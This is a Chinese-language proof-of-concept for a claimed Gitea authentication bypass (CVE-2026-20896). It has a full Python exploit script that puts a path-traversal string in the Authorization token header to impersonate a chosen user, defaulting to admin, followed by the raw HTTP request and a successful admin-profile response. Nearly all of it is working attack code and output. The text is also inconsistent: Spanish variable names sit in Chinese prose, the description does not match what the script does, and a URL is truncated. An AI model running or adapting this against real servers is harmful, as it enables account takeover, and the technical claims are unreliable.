该脚本自动化利用了 Gitea API 路径验证中的逻辑缺陷,通过授权头中的目录遍历攻击,强制服务器授予有效的管理员令牌。
#!/usr/bin/env python3
# PoC: Gitea 身份验证绕过 (CVE-2026-20896)
# 仅用于受控环境和授权审计(CTF)
import requests
import sys
import argparse
def expone_bypass(target_ip, username):
print(f"[*] 开始攻击 Gitea 服务器:{target_ip}")
# 易受攻击的 API 端点 URL
url = f"http://{target_ip}/api/v1/user"
# 利用路径逻辑缺陷构建绕过载荷
# 服务器错误地拼接令牌路径,允许跳转到目标用户配置文件
payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
cabeceras = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
"Authorization": f"token {payload_token}",
"Accept": "application/json"
}
try:
# 发送恶意 HTTP 请求
respuesta = requests.get(url, headers=cabeceras, timeout=10)
# 如果服务器响应 200 OK,则绕过成功
if respuesta.status_code == 200:
print("[+] \033[92m漏洞利用成功!\033[0m")
datos_usuario = respuesta.json()
print(f"[+] 劫持用户会话:{datos_usuario.get('username')}")
print(f"[+] 关联邮箱:{datos_usuario.get('email')}")
print(f"[+] 数据库账户 ID:{datos_usuario.get('id')}")
return True
else:
print(f"[-] 服务器响应代码:{respuesta.status_code}")
print("[-] 绕过尝试被拒绝或已修补。")
return False
except requests.exceptions.RequestException as e:
print(f"[!] 连接目标失败:{e}")
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea Bypass")
parser.add_argument("-t", "--target", required=True, help="Gitea 服务器的 IP 或域名")
parser.add_argument("-u", "--user", default="admin", help="要冒充的目标用户(默认:admin)")
args = parser.parse_args()
expone_bypass(args.target, args.user)
执行上述脚本后,我们可以在代理中拦截请求,以验证后端如何处理攻击向量而无需有效签名:
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close
服务器响应(存在漏洞):
由于令牌字符串规范化存在缺陷,服务器处理了该内容,并返回管理员配置文件的 JSON 对象,状态码为 200 OK:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN
{
"id": 1,
"username": "admin",
"login": "admin",
"full_name": "系统管理员",
"email": "[email protected]",
"avatar_url": "http://192.168.0",
"is_admin": true,
"last_login": "2026-07-01T15:22:01Z"
}